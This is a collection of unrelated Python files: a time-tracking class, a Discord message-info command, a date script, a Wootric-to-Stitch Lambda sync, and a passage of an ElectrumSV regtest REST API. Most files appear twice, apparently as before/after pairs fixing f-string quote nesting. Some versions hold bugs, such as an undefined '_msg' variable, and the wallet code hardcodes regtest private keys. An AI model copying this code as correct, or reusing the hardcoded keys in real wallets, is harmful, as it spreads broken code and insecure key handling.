# AUTOGENERATED! DO NOT EDIT! File to edit: 50_time.ipynb (unless otherwise specified). __all__ = ['TimeKeeper'] # Cell import json from typing import Union import pandas as pd # Cell class TimeKeeper: def __init__(self) -> None: self.df = pd.DataFrame(columns=['time']) self.df.index.name = 'category' # for making sure calls to `record` and `record_question` are not mixed self.record_type = None def process_category_name(self, category_name: Union[str, list]) -> str: # if the category is a string (rather than a list)... if type(category_name)==str: # ...an attempt... try: # ...to interpret it is made category_name = json.loads(category_name) # if it is still a string... if type(category_name)==str: # ...that's it return category_name # if it's not a string, then it is assumed it is a list except json.JSONDecodeError: return category_name return category_name[-1].split('/')[-1] def record(self, minutes: int, category_name: Union[str, list]) -> None: if self.record_type is None: self.record_type = 'category' else: assert self.record_type == 'category', 'you cannot mix questions and categories' self.df.loc[self.process_category_name(category_name)] = minutes def record_question(self, minutes: int, question_name: str) -> None: if self.record_type is None: self.record_type = 'question' else: assert self.record_type == 'question', 'you cannot mix questions and categories' self.df.loc[question_name] = minutes def __str__(self) -> str: return f'Accumulated time: {self.df["time"].sum()} minutes' def plot(self): ax = self.df.plot.pie(y='time') ax.legend().remove() ax.set_ylabel(None) return ax
#!/emj/bin/env python3 # -*- coding: utf-8 -* #/// DEPENDENCIES import discord #python3.7 -m pip install -U discord.py import logging from util import pages from discord.ext import commands from discord.ext.commands import Bot, MissingPermissions, has_permissions from chk.enbl import enbl ##///---------------------///## ##/// BOT COMMANDS ///## ##///---------------------///## @commands.command(aliases = ["textinfo", "infotext", "texti", "itext", "txti", "itxt"], help = 'dis', brief = 'Displays info on a given {message}', usage = ';]ti {message}', description = '''\ MSG [MESSAGE] - The target message, ID or URL ''') @commands.check(enbl) async def ti(ctx, message:discord.Message): lit = [f""" #] MESSAGE BY @{str(message.author)} IN #{str(message.channel)} ID ] {message.id} TTS ] {message.tts} URL ] {message.jump_url} SENT ] {message.created_at} PINNED ] {message.pinned} EDITED ] {message.edited_at} """] if len(_msg.reactions) > 0: for r in _msg.reactions: usrs = await r.users().flatten() lit.append(f"REACTIONS [{r.emoji.name if r.custom_emoji else r.emoji}] ] \n{", ".join(usr.name for usr in usrs)}") await pages.PageThis(ctx, lit, "MESSAGE INFO") ##///---------------------///## ##/// OTHER STUFF ///## ##///---------------------///## def setup(bot): print('+COM') bot.add_command(ti) print('GOOD') def teardown(bot): print('-COM') bot.remove_command('ti') print('GOOD')
#!/emj/bin/env python3 # -*- coding: utf-8 -* #/// DEPENDENCIES import discord #python3.7 -m pip install -U discord.py import logging from util import pages from discord.ext import commands from discord.ext.commands import Bot, MissingPermissions, has_permissions from chk.enbl import enbl ##///---------------------///## ##/// BOT COMMANDS ///## ##///---------------------///## @commands.command(aliases = ["textinfo", "infotext", "texti", "itext", "txti", "itxt"], help = 'dis', brief = 'Displays info on a given {message}', usage = ';]ti {message}', description = '''\ MSG [MESSAGE] - The target message, ID or URL ''') @commands.check(enbl) async def ti(ctx, message:discord.Message): lit = [f""" #] MESSAGE BY @{str(message.author)} IN #{str(message.channel)} ID ] {message.id} TTS ] {message.tts} URL ] {message.jump_url} SENT ] {message.created_at} PINNED ] {message.pinned} EDITED ] {message.edited_at} """] if len(_msg.reactions) > 0: for r in _msg.reactions: usrs = await r.users().flatten() lit.append(f"REACTIONS [{r.emoji.name if r.custom_emoji else r.emoji}] ] \n{', '.join(usr.name for usr in usrs)}") await pages.PageThis(ctx, lit, "MESSAGE INFO") ##///---------------------///## ##/// OTHER STUFF ///## ##///---------------------///## def setup(bot): print('+COM') bot.add_command(ti) print('GOOD') def teardown(bot): print('-COM') bot.remove_command('ti') print('GOOD')
from datetime import datetime, timedelta dateNow = datetime.now() inDate = input('Enter date (yyyy/mm/dd): ') daySubtract = timedelta(days = 1) weekSubtract = timedelta(weeks = 1) print(f'date now is : { str(dateNow) }') print(f'date now is : { str(dateNow.month) }-{ str(dateNow.day) }-{ str(dateNow.year) }') print(f'date yesterday is : { str(dateNow - daySubtract) }') print(f'date last week is : { str(dateNow - weekSubtract) }') print(f"input date is : { str(datetime.strptime(inDate, "%Y/%m/%d")) }")
from datetime import datetime, timedelta dateNow = datetime.now() inDate = input('Enter date (yyyy/mm/dd): ') daySubtract = timedelta(days = 1) weekSubtract = timedelta(weeks = 1) print(f'date now is : { str(dateNow) }') print(f'date now is : { str(dateNow.month) }-{ str(dateNow.day) }-{ str(dateNow.year) }') print(f'date yesterday is : { str(dateNow - daySubtract) }') print(f'date last week is : { str(dateNow - weekSubtract) }') print(f"input date is : { str(datetime.strptime(inDate, '%Y/%m/%d')) }")
import os, requests, json, dateparser, time, yaml, boto3, slack, random from typing import List from pathlib import Path from pprint import pprint from traceback import format_exc from missing_data import get_missing_responses, get_missing_users BATCH_SIZE = 500 wootric_session = requests.Session() ACCESS_TOKEN = '' CLIENT_ID = os.getenv('WOOTRIC_CLIENT_ID') CLIENT_SECRET = os.getenv('WOOTRIC_CLIENT_SECRET') BASE_URL = 'https://api.wootric.com' stitch_session = requests.Session() STITCH_CLIENT_ID = os.getenv('STITCH_CLIENT_ID') STITCH_TOKEN = os.getenv('STITCH_TOKEN') STITCH_BASE_URL = 'https://api.stitchdata.com' stitch_session.headers = {'Authorization': f'Bearer {STITCH_TOKEN}', 'Content-Type': 'application/json'} BUCKET = os.getenv('AWS_BUCKET') os.environ['AWS_ACCESS_KEY_ID'] = os.getenv('AWS_ACCESS_KEY_ID_', os.getenv('AWS_ACCESS_KEY_ID')) # lambda doesn't allow this reserved var os.environ['AWS_SECRET_ACCESS_KEY'] = os.getenv('AWS_SECRET_ACCESS_KEY_', os.getenv('AWS_SECRET_ACCESS_KEY')) # lambda doesn't allow this reserved var os.environ['AWS_SESSION_TOKEN'] = '' # lambda provides this reserved var during execution, need to set blank STATE_KEY = 'wootric.state.json' s3 = boto3.resource("s3").Bucket(BUCKET) slack_client = slack.WebhookClient(url=os.getenv('SLACK_WH_TOKEN')) # init state state = dict( end_users=1420070400, responses=1420070400, declines=1420070400, ) def get_access_token(): global ACCESS_TOKEN url = f'{BASE_URL}/oauth/token' payload = dict( grant_type='client_credentials', client_id=CLIENT_ID, client_secret=CLIENT_SECRET, ) resp = wootric_session.post(url, payload) data : dict = resp.json() ACCESS_TOKEN = data.get('access_token') if not ACCESS_TOKEN: raise Exception('did not find access_token') wootric_session.headers = dict(Authorization=f'Bearer {ACCESS_TOKEN}') def wootric_response(user_id: str, response_id: str): url = f'{BASE_URL}/v1/end_users/{user_id}/responses/{response_id}' print(url) resp = wootric_session.get(url) return resp.json() def wootric_user(user_id: str): url = f'{BASE_URL}/v1/end_users/{user_id}' print(url) resp = wootric_session.get(url) return resp.json() def wootric_request(object_name: str, date_key: str, **params): url = f'{BASE_URL}/v1/{object_name}' req = requests.models.PreparedRequest() date_val = state[object_name] # put random limit because seems some get missed. an attempt to randomize sort anchors limit = random.randint(5,29) params[f"{date_key.replace("_at", "")}[gte]"] = date_val - 1 page = 0 all = [] while True: page += 1 if page > limit: break params['page'] = page req.prepare_url(url, params) print(req.url) try: resp = wootric_session.get(req.url) if resp is None: raise Exception(f'Response is for: {req.url}') elif not resp.ok: raise Exception(f'\n\nHTTP Status Code {resp.status_code} for {req.url}: \n{resp.text}') except Exception: raise Exception(f'Error for {req.url}.\n\n{format_exc()}') data = resp.json() if len(data) == 0: break all += data return all def send_batch(object_name: str, schema: dict, keys: List[str], records: List[dict]): is_datetime = lambda k: schema['properties'].get(k, {}).get('format') == 'date-time' messages = [] for record in records: rec = dict( action='upsert', sequence=int(time.time_ns() / 1000), data={}, ) for k, v in record.items(): k = k.replace('.', '_') v = (dateparser.parse(str(v))).isoformat() if v and is_datetime(k) else v rec['data'][k] = v messages.append(rec) payload = dict( table_name=object_name, key_names=keys, schema=schema, messages=messages, ) # with open('payload.json', 'w') as file: # json.dump(payload, file) url = f'{STITCH_BASE_URL}/v2/import/batch' resp = stitch_session.post(url, json.dumps(payload)) data : dict = resp.json() print(data) status = data.get('status') if status != 'OK': pprint(dict(status_code=resp.status_code)) resp.raise_for_status() else: print(f'pushed {len(records)} records to "{object_name}"') def load_state(): global state state = json.loads(s3.Object(key=STATE_KEY).get()["Body"].read().decode('utf-8')) # re-run for past 3 days, an attempt to fill in any holes for k in state: state[k] = state.get(k, 1420070400) - 3*24*60*60 def save_state(): global state s3.Object(key=STATE_KEY).put(Body=json.dumps(state)) print(json.dumps(state)) def run(event, context): global state try: # load wootric access token get_access_token() # load state load_state() except Exception as E: slack_client.send(text=f"Error occurred for Wootric-Stitch Integration:\n{format_exc()}") raise E config_file = Path('config.yaml') with config_file.open() as file: object_configs = yaml.load(file) errors = [] for object_name, object_config in object_configs.items(): records : List[dict] = [] try: print(f'Loading {object_name}') while True: date_key = object_config['date_key'] params = object_config['params'] schema = object_config['schema'] keys = object_config['keys'] data : List[dict] = wootric_request(object_name, date_key, **params) if len(data) == 0: if len(records) == 0: break else: records += data send_batch(object_name, schema, keys, records) record = records[-1] if date_key not in record: raise Exception(f'no datekey: {date_key}') records = [] date_val = dateparser.parse(record[date_key]) ts_val = int(date_val.timestamp()) if date_val and ts_val > state[object_name]: state[object_name] = ts_val save_state() else: break except Exception as E: errors.append(format_exc()) finally: save_state() # Missing users START # seems users are missing even with using gte. Gets the IDs from database try: users = [] for row in get_missing_users(): users += [wootric_user(row.end_user_id)] response_config = object_configs.get('end_users') send_batch('end_users', response_config['schema'], response_config['keys'], users) except Exception as E: errors.append(format_exc()) # Missing users END # Missing responses START # seems some responses are missing even with using gte. Gets the IDs from database try: responses = [] for row in get_missing_responses(): responses += [wootric_response(row.user_id, row.last_response__id)] response_config = object_configs.get('responses') send_batch('responses', response_config['schema'], response_config['keys'], responses) except Exception as E: errors.append(format_exc()) # Missing responses END if len(errors) > 0: e = '\n\n'.join(errors) slack_client.send(text=f'Error occurred for Wootric-Stitch Integration:\n{e}') raise Exception(e) # run(None, None)
import os, requests, json, dateparser, time, yaml, boto3, slack, random from typing import List from pathlib import Path from pprint import pprint from traceback import format_exc from missing_data import get_missing_responses, get_missing_users BATCH_SIZE = 500 wootric_session = requests.Session() ACCESS_TOKEN = '' CLIENT_ID = os.getenv('WOOTRIC_CLIENT_ID') CLIENT_SECRET = os.getenv('WOOTRIC_CLIENT_SECRET') BASE_URL = 'https://api.wootric.com' stitch_session = requests.Session() STITCH_CLIENT_ID = os.getenv('STITCH_CLIENT_ID') STITCH_TOKEN = os.getenv('STITCH_TOKEN') STITCH_BASE_URL = 'https://api.stitchdata.com' stitch_session.headers = {'Authorization': f'Bearer {STITCH_TOKEN}', 'Content-Type': 'application/json'} BUCKET = os.getenv('AWS_BUCKET') os.environ['AWS_ACCESS_KEY_ID'] = os.getenv('AWS_ACCESS_KEY_ID_', os.getenv('AWS_ACCESS_KEY_ID')) # lambda doesn't allow this reserved var os.environ['AWS_SECRET_ACCESS_KEY'] = os.getenv('AWS_SECRET_ACCESS_KEY_', os.getenv('AWS_SECRET_ACCESS_KEY')) # lambda doesn't allow this reserved var os.environ['AWS_SESSION_TOKEN'] = '' # lambda provides this reserved var during execution, need to set blank STATE_KEY = 'wootric.state.json' s3 = boto3.resource("s3").Bucket(BUCKET) slack_client = slack.WebhookClient(url=os.getenv('SLACK_WH_TOKEN')) # init state state = dict( end_users=1420070400, responses=1420070400, declines=1420070400, ) def get_access_token(): global ACCESS_TOKEN url = f'{BASE_URL}/oauth/token' payload = dict( grant_type='client_credentials', client_id=CLIENT_ID, client_secret=CLIENT_SECRET, ) resp = wootric_session.post(url, payload) data : dict = resp.json() ACCESS_TOKEN = data.get('access_token') if not ACCESS_TOKEN: raise Exception('did not find access_token') wootric_session.headers = dict(Authorization=f'Bearer {ACCESS_TOKEN}') def wootric_response(user_id: str, response_id: str): url = f'{BASE_URL}/v1/end_users/{user_id}/responses/{response_id}' print(url) resp = wootric_session.get(url) return resp.json() def wootric_user(user_id: str): url = f'{BASE_URL}/v1/end_users/{user_id}' print(url) resp = wootric_session.get(url) return resp.json() def wootric_request(object_name: str, date_key: str, **params): url = f'{BASE_URL}/v1/{object_name}' req = requests.models.PreparedRequest() date_val = state[object_name] # put random limit because seems some get missed. an attempt to randomize sort anchors limit = random.randint(5,29) params[f"{date_key.replace('_at', '')}[gte]"] = date_val - 1 page = 0 all = [] while True: page += 1 if page > limit: break params['page'] = page req.prepare_url(url, params) print(req.url) try: resp = wootric_session.get(req.url) if resp is None: raise Exception(f'Response is for: {req.url}') elif not resp.ok: raise Exception(f'\n\nHTTP Status Code {resp.status_code} for {req.url}: \n{resp.text}') except Exception: raise Exception(f'Error for {req.url}.\n\n{format_exc()}') data = resp.json() if len(data) == 0: break all += data return all def send_batch(object_name: str, schema: dict, keys: List[str], records: List[dict]): is_datetime = lambda k: schema['properties'].get(k, {}).get('format') == 'date-time' messages = [] for record in records: rec = dict( action='upsert', sequence=int(time.time_ns() / 1000), data={}, ) for k, v in record.items(): k = k.replace('.', '_') v = (dateparser.parse(str(v))).isoformat() if v and is_datetime(k) else v rec['data'][k] = v messages.append(rec) payload = dict( table_name=object_name, key_names=keys, schema=schema, messages=messages, ) # with open('payload.json', 'w') as file: # json.dump(payload, file) url = f'{STITCH_BASE_URL}/v2/import/batch' resp = stitch_session.post(url, json.dumps(payload)) data : dict = resp.json() print(data) status = data.get('status') if status != 'OK': pprint(dict(status_code=resp.status_code)) resp.raise_for_status() else: print(f'pushed {len(records)} records to "{object_name}"') def load_state(): global state state = json.loads(s3.Object(key=STATE_KEY).get()["Body"].read().decode('utf-8')) # re-run for past 3 days, an attempt to fill in any holes for k in state: state[k] = state.get(k, 1420070400) - 3*24*60*60 def save_state(): global state s3.Object(key=STATE_KEY).put(Body=json.dumps(state)) print(json.dumps(state)) def run(event, context): global state try: # load wootric access token get_access_token() # load state load_state() except Exception as E: slack_client.send(text=f"Error occurred for Wootric-Stitch Integration:\n{format_exc()}") raise E config_file = Path('config.yaml') with config_file.open() as file: object_configs = yaml.load(file) errors = [] for object_name, object_config in object_configs.items(): records : List[dict] = [] try: print(f'Loading {object_name}') while True: date_key = object_config['date_key'] params = object_config['params'] schema = object_config['schema'] keys = object_config['keys'] data : List[dict] = wootric_request(object_name, date_key, **params) if len(data) == 0: if len(records) == 0: break else: records += data send_batch(object_name, schema, keys, records) record = records[-1] if date_key not in record: raise Exception(f'no datekey: {date_key}') records = [] date_val = dateparser.parse(record[date_key]) ts_val = int(date_val.timestamp()) if date_val and ts_val > state[object_name]: state[object_name] = ts_val save_state() else: break except Exception as E: errors.append(format_exc()) finally: save_state() # Missing users START # seems users are missing even with using gte. Gets the IDs from database try: users = [] for row in get_missing_users(): users += [wootric_user(row.end_user_id)] response_config = object_configs.get('end_users') send_batch('end_users', response_config['schema'], response_config['keys'], users) except Exception as E: errors.append(format_exc()) # Missing users END # Missing responses START # seems some responses are missing even with using gte. Gets the IDs from database try: responses = [] for row in get_missing_responses(): responses += [wootric_response(row.user_id, row.last_response__id)] response_config = object_configs.get('responses') send_batch('responses', response_config['schema'], response_config['keys'], responses) except Exception as E: errors.append(format_exc()) # Missing responses END if len(errors) > 0: e = '\n\n'.join(errors) slack_client.send(text=f'Error occurred for Wootric-Stitch Integration:\n{e}') raise Exception(e) # run(None, None)
# TODO(REST-API-Refactoring) Notes follow. # - All these functions should be moved out of the example and into the code base proper. We should # make a very simple example that extends it as a daemon app. # - Remove the variables like VERSION, NETWORK, .... a good idea in theory but they overcomplicate # things in practice. # - In `handler_tools.argparser` it should check the type of each variable as it extracts them # either from the route or the body and convert them at point of extraction or raise a fault # on the first found failed conversion. # - The only time a wallet name should be passed in the route is at load time for the filename. # Beyond that we should use it's ephemeral id, and we should perhaps consider replacing that # with a GUID. We should also consider dropping the `.sqlite` suffix from wallet name. # - Add a `pay` API where the caller just provides a destination address and the wallet manages # everything and just returns some result to indicate success. import asyncio import atexit from functools import partial import json import os from pathlib import Path import shutil import tempfile from typing import Any, cast, List, Optional from aiohttp import web import aiorpcx import bitcoinx import requests from electrumsv.app_state import app_state from electrumsv.bitcoin import COINBASE_MATURITY, script_template_to_string from electrumsv.constants import AccountCreationType, CredentialPolicyFlag, KeystoreTextType, \ RECEIVING_SUBPATH from electrumsv.keystore import instantiate_keystore_from_text from electrumsv.storage import WalletStorage from electrumsv.transaction import Transaction from electrumsv.logs import logs from electrumsv.networks import BitcoinRegtest, Net from electrumsv.restapi import Fault, good_response, fault_to_http_response from electrumsv.startup import base_dir from electrumsv.types import TransactionSize from .errors import Errors from .handler_utils import ExtendedHandlerUtils, VNAME, InsufficientCoinsError, \ WalletInstanceKind, WalletInstancePaths from .txstatewebsocket import TxStateWebSocket logger = logs.get_logger("app_state") # Makes this code docker-friendly (can access a node on host with "host.docker.internal" BITCOIN_NODE_HOST = os.environ.get("BITCOIN_NODE_HOST") or "127.0.0.1" BITCOIN_NODE_PORT = os.environ.get("BITCOIN_NODE_PORT") or 18332 BITCOIN_NODE_RPCUSER = os.environ.get("BITCOIN_NODE_RPCUSER") or "rpcuser" BITCOIN_NODE_RPCPASSWORD = os.environ.get("BITCOIN_NODE_RPCPASSWORD") or "rpcpassword" BITCOIN_NODE_URI = f"http://{BITCOIN_NODE_RPCUSER}:{BITCOIN_NODE_RPCPASSWORD}" \ f"@{BITCOIN_NODE_HOST}:{BITCOIN_NODE_PORT}" def node_rpc_call(method_name: str, *args: Any) -> Any: result = None try: if not args: params = [] else: params = [*args] payload = json.dumps({"jsonrpc": "2.0", "method": f"{method_name}", "params": params, "id": 0}) result = requests.post(BITCOIN_NODE_URI, data=payload) result.raise_for_status() return result except requests.exceptions.HTTPError as e: if result is not None: logger.error(result.json()['error']['message']) raise e # hardcoded # - WIF private_key: cT3G2vJGRNbpmoCVXYPYv2JbngzwtznLvioPPJXu39jfQeLpDuX5 # - Pubkey hash: mfs8Y8gAwC2vJHCeSXkHs6LF5nu5PA7nxc REGTEST_FUNDS_PRIVATE_KEY = bitcoinx.PrivateKey( bytes.fromhex('a2d9803c912ab380c1491d3bd1aaab34ca06742d7885a224ec8d386182d26ed2'), coin=BitcoinRegtest) REGTEST_FUNDS_PRIVATE_KEY_WIF = REGTEST_FUNDS_PRIVATE_KEY.to_WIF() REGTEST_FUNDS_PUBLIC_KEY: bitcoinx.PublicKey = REGTEST_FUNDS_PRIVATE_KEY.public_key REGTEST_P2PKH_ADDRESS: str = REGTEST_FUNDS_PUBLIC_KEY.to_address(coin=Net.COIN).to_string() def regtest_get_mined_balance() -> int: # Calculate matured balance payload = json.dumps({"jsonrpc": "2.0", "method": "listunspent", "params": [1, 1_000_000_000, [REGTEST_P2PKH_ADDRESS]], "id": 1}) result = requests.post(BITCOIN_NODE_URI, data=payload) result.raise_for_status() utxos = result.json()['result'] matured_balance = sum( utxo['amount'] for utxo in utxos if utxo['confirmations'] > COINBASE_MATURITY) logger.debug("matured coins in regtest slush fund=%s", matured_balance) return matured_balance def regtest_topup_account(receive_address: bitcoinx.P2PKH_Address, amount: int=25) \ -> Optional[str]: matured_balance = regtest_get_mined_balance() while matured_balance < amount: nblocks = 1 if matured_balance == 0: nblocks = 200 result = node_rpc_call("generatetoaddress", nblocks, REGTEST_P2PKH_ADDRESS) if result.status_code == 200: logger.debug(f"generated {nblocks}: {result.json()["result"]}") matured_balance = regtest_get_mined_balance() # Note: for bare multi-sig support may need to craft rawtxs manually via bitcoind's # 'signrawtransaction' jsonrpc method - AustEcon payload = json.dumps({"jsonrpc": "2.0", "method": "sendtoaddress", "params": [receive_address.to_string(), amount], "id": 0}) result = requests.post(BITCOIN_NODE_URI, data=payload) if result.status_code != 200: raise requests.exceptions.HTTPError(result.text) txid = cast(str, result.json()['result']) logger.info("topped up wallet with %s coins to receive address='%s'. txid=%s", amount, receive_address.to_string(), txid) return txid def regtest_generate_nblocks(nblocks: int, address: str) -> List[str]: payload1 = json.dumps( {"jsonrpc": "2.0", "method": "generatetoaddress", "params": [nblocks, address], "id": 0}) result = requests.post(BITCOIN_NODE_URI, data=payload1) result.raise_for_status() block_hashes = [] for block_hash in cast(List[str], result.json()['result']): block_hashes.append(block_hash) logger.debug("newly mined blockhash: %s", block_hash) logger.debug("mined %s new blocks (funds to address=%s). use the " "'regtest_topup_account' method to fund your account", nblocks, address) return block_hashes class ExtensionEndpoints(ExtendedHandlerUtils): """Extension endpoints for ElectrumSV REST API""" routes = [] # PATHS VERSION = "/v1" NETWORK = "/{network}" BASE = VERSION + NETWORK + "/dapp" # avoid conflicts with built-ins WALLETS_TLD = BASE + "/wallets" WALLETS_PARENT = WALLETS_TLD + "/{wallet_name}" WALLETS_ACCOUNT = WALLETS_PARENT + "/{account_id}" ACCOUNT_TXS = WALLETS_ACCOUNT + "/txs" ACCOUNT_UTXOS = WALLETS_ACCOUNT + "/utxos" def __init__(self): super().__init__() self.logger = logs.get_logger("restapi-dapp") self.app_state = app_state # easier to monkeypatch for testing self.add_routes() self.temp_dir = tempfile.TemporaryDirectory() def cleanup(self) -> None: atexit.register(self.temp_dir.cleanup) def add_routes(self): self.routes = [ web.get(self.WALLETS_TLD, self.get_all_wallets), web.post("/v1/{network}/dapp/wallets/load_instanced", self.load_instanced_wallet), web.get(self.WALLETS_PARENT, self.get_parent_wallet), web.post(self.WALLETS_PARENT + "/load_wallet", self.load_wallet), web.get(self.WALLETS_ACCOUNT, self.get_account), web.post("/v1/{network}/dapp/wallets/{wallet_id}/{account_id}/payment_request", self.create_payment_request), web.get(self.ACCOUNT_UTXOS + "/coin_state", self.get_coin_state), web.get(self.ACCOUNT_UTXOS, self.get_utxos), web.get(self.ACCOUNT_UTXOS + "/balance", self.get_balance), web.delete(self.ACCOUNT_TXS, self.remove_txs), web.get(self.ACCOUNT_TXS + "/history", self.get_transaction_history), web.post(self.ACCOUNT_TXS + "/fetch", self.fetch_transaction), web.post(self.ACCOUNT_TXS + "/create", self.create_tx), web.post(self.ACCOUNT_TXS + "/create_and_broadcast", self.create_and_broadcast), web.post(self.ACCOUNT_TXS + "/broadcast", self.broadcast), web.post(self.ACCOUNT_TXS + "/split_utxos", self.split_utxos), web.view(self.ACCOUNT_TXS + "/websocket/text-events", TxStateWebSocket), ] if app_state.config.get('regtest'): self.routes.extend([ web.post(self.WALLETS_ACCOUNT + "/topup_account", self.topup_account), web.post(self.WALLETS_ACCOUNT + "/generate_blocks", self.generate_blocks), web.post(self.WALLETS_PARENT + "/create_new_wallet", self.create_new_wallet), ]) # ----- Extends electrumsv/restapi_endpoints ----- # async def get_all_wallets(self, request: web.Request) -> web.Response: try: all_parent_wallets = self._get_all_wallets(self.wallets_path) response = all_parent_wallets return good_response({"wallets": response}) except Fault as e: return fault_to_http_response(e) async def get_parent_wallet(self, request: web.Request) -> web.Response: """Overview of parent wallet and accounts""" try: vars = await self.argparser(request, required_vars=[VNAME.WALLET_NAME]) wallet_name = vars[VNAME.WALLET_NAME] wallet = self._get_parent_wallet(wallet_name) accounts = self._accounts_dto(wallet) response = {"parent_wallet": wallet_name, "accounts": accounts} return good_response(response) except Fault as e: return fault_to_http_response(e) async def load_instanced_wallet(self, request: web.Request) -> web.Response: """ This copies a pre-generated wallet file to a temporary location and loads it. It can only be called once for each wallet instance kind and will error if the instance file name is in use. We do not want duplicated wallets reusing keys, it is problems waiting to happen. The reason we do this via ids, is that we do not want to allow users to load wallets from arbitrary paths. """ try: vars = await self.argparser(request, required_vars=[VNAME.PASSWORD, VNAME.WALLET_INSTANCE_ID]) valid_instance_ids = set(item.value for item in WalletInstanceKind) wallet_instance_id = cast(int, vars[VNAME.WALLET_INSTANCE_ID]) if wallet_instance_id not in valid_instance_ids: raise Fault(message="Unknown wallet instance id") relative_wallet_path = WalletInstancePaths[wallet_instance_id] wallet_path = os.path.join(base_dir, relative_wallet_path) if not os.path.exists(wallet_path): raise Fault(message="Instanced wallet path invalid") wallet_filename = os.path.basename(wallet_path) instanced_wallet_path = os.path.join(self.temp_dir.name, wallet_filename) if os.path.exists(instanced_wallet_path): raise Fault(message="Instanced wallet in use") shutil.copyfile(wallet_path, instanced_wallet_path) wallet = await self._load_wallet(instanced_wallet_path, vars[VNAME.PASSWORD], enforce_wallet_directory=False) accounts = self._accounts_dto(wallet) return good_response({ "wallet_id": wallet.get_id(), "accounts": accounts }) except Fault as e: return fault_to_http_response(e) async def load_wallet(self, request: web.Request) -> web.Response: try: vars = await self.argparser(request, required_vars=[VNAME.PASSWORD, VNAME.WALLET_NAME]) wallet_name = vars[VNAME.WALLET_NAME] wallet = await self._load_wallet(wallet_name, vars[VNAME.PASSWORD]) accounts = self._accounts_dto(wallet) return good_response({ "wallet_id": wallet.get_id(), "parent_wallet": wallet_name, "accounts": accounts }) except Fault as e: return fault_to_http_response(e) async def create_new_wallet(self, request: web.Request) -> web.Response: """only for regtest for the moment...""" try: vars = await self.argparser(request, required_vars=[VNAME.PASSWORD, VNAME.WALLET_NAME], check_wallet_availability=False) create_filepath = str(Path(self.wallets_path).joinpath(vars[VNAME.WALLET_NAME])) self.check_if_wallet_exists(create_filepath) storage = WalletStorage.create(create_filepath, vars[VNAME.PASSWORD]) storage.close() app_state.credentials.set_wallet_password(create_filepath, vars[VNAME.PASSWORD], CredentialPolicyFlag.FLUSH_AFTER_WALLET_LOAD) parent_wallet = self.app_state.daemon.load_wallet(create_filepath) assert parent_wallet is not None # create an account for the Wallet with the same password via an imported seed text_type = KeystoreTextType.EXTENDED_PRIVATE_KEY text_match = 'tprv8ZgxMBicQKsPd4wsdaJ11eH84eq4hHLX1K6Mx8EQQhJzq8jr25WH1m8hgGkCqnks' \ 'JDCZPZbDoMbQ6QtroyCyn5ZckCmsLeiHDb1MAxhNUHN' keystore = instantiate_keystore_from_text(text_type, text_match, vars[VNAME.PASSWORD], derivation_text=None, passphrase='') parent_wallet.create_account_from_keystore(AccountCreationType.IMPORTED, keystore) await self._load_wallet(vars[VNAME.WALLET_NAME], vars[VNAME.PASSWORD]) response = {"new_wallet": create_filepath} return good_response(response) except Fault as e: return fault_to_http_response(e) async def get_account(self, request: web.Request) -> web.Response: """Overview of a single 'account""" try: vars = await self.argparser(request, required_vars=[VNAME.WALLET_NAME, VNAME.ACCOUNT_ID]) wallet_name = vars[VNAME.WALLET_NAME] account_id = vars[VNAME.ACCOUNT_ID] account = self._get_account(wallet_name, account_id) response = self._account_dto(account) return good_response(response) except Fault as e: return fault_to_http_response(e) async def topup_account(self, request): """only for regtest""" try: vars = await self.argparser(request, required_vars=[VNAME.WALLET_NAME, VNAME.ACCOUNT_ID]) wallet_name = vars[VNAME.WALLET_NAME] account_id = vars[VNAME.ACCOUNT_ID] amount = vars.get(VNAME.AMOUNT, 25) account = self._get_account(wallet_name, account_id) receive_key = account.get_fresh_keys(RECEIVING_SUBPATH, 1)[0] receive_address = account.get_script_template_for_derivation( account.get_default_script_type(), receive_key.derivation_type, receive_key.derivation_data2) txid = regtest_topup_account(receive_address, amount) response = {"txid": txid} return good_response(response) except Fault as e: return fault_to_http_response(e) async def generate_blocks(self, request): """only for regtest""" try: vars = await self.argparser(request, required_vars=[VNAME.WALLET_NAME, VNAME.ACCOUNT_ID]) nblocks = vars.get(VNAME.NBLOCKS, 1) txid = regtest_generate_nblocks(nblocks, REGTEST_P2PKH_ADDRESS) response = {"txid": txid} return good_response(response) except Fault as e: return fault_to_http_response(e) async def create_payment_request(self, request: web.Request) -> web.Response: try: vars = await self.argparser(request, required_vars=[VNAME.WALLET_ID, VNAME.ACCOUNT_ID, VNAME.MESSAGE ]) wallet_id = vars[VNAME.WALLET_ID] account_id = vars[VNAME.ACCOUNT_ID] message = vars[VNAME.MESSAGE] if not len(message): raise Fault(message="Empty message") wallet = self._get_wallet_by_id(wallet_id) account = self._get_account_from_wallet(wallet, account_id) future, key_data = account.create_payment_request(message) rows = await asyncio.wrap_future(future) if len(rows) != 1: raise Fault(message="Error creating the payment request") script_type = account.get_default_script_type() script_template = account.get_script_template_for_derivation( script_type, key_data.derivation_type, key_data.derivation_data2) if script_template is None: raise Fault(message="Error creating the payment destination") text = script_template_to_string(script_template) return good_response({ "script_type": script_type.name, "destination": text, }) except Fault as e: return fault_to_http_response(e) async def get_coin_state(self, request: web.Request) -> web.Response: """get coin state (unconfirmed and confirmed coin count)""" try: vars = await self.argparser(request, required_vars=[VNAME.WALLET_NAME, VNAME.ACCOUNT_ID]) wallet_name = vars[VNAME.WALLET_NAME] account_id = vars[VNAME.ACCOUNT_ID] account = self._get_account(wallet_name, account_id) response = self._coin_state_dto(account) return good_response(response) except Fault as e: return fault_to_http_response(e) async def get_utxos(self, request: web.Request) -> web.Response: try: vars = await self.argparser(request, required_vars=[VNAME.WALLET_NAME, VNAME.ACCOUNT_ID]) wallet_name = vars[VNAME.WALLET_NAME] account_id = vars[VNAME.ACCOUNT_ID] exclude_frozen = vars.get(VNAME.EXCLUDE_FROZEN, False) confirmed_only = vars.get(VNAME.CONFIRMED_ONLY, False) mature = vars.get(VNAME.MATURE, True) account = self._get_account(wallet_name, account_id) utxos = account.get_transaction_outputs_with_key_data(exclude_frozen=exclude_frozen, confirmed_only=confirmed_only, mature=mature) result = self._utxo_dto(utxos) response = {"utxos": result} return good_response(response) except Fault as e: return fault_to_http_response(e) async def get_balance(self, request: web.Request) -> web.Response: """get confirmed, unconfirmed and coinbase balances""" try: vars = await self.argparser(request, required_vars=[VNAME.WALLET_NAME, VNAME.ACCOUNT_ID]) wallet_name = vars[VNAME.WALLET_NAME] account_id = vars[VNAME.ACCOUNT_ID] account = self._get_account(wallet_name, account_id) response = self._balance_dto(wallet=account) return good_response(response) except Fault as e: return fault_to_http_response(e) async def remove_txs(self, request: web.Request) -> web.Response: # follows this spec https://opensource.zalando.com/restful-api-guidelines/#152 """This might be used to clean up after creating many transactions that were never sent.""" try: vars = await self.argparser(request, 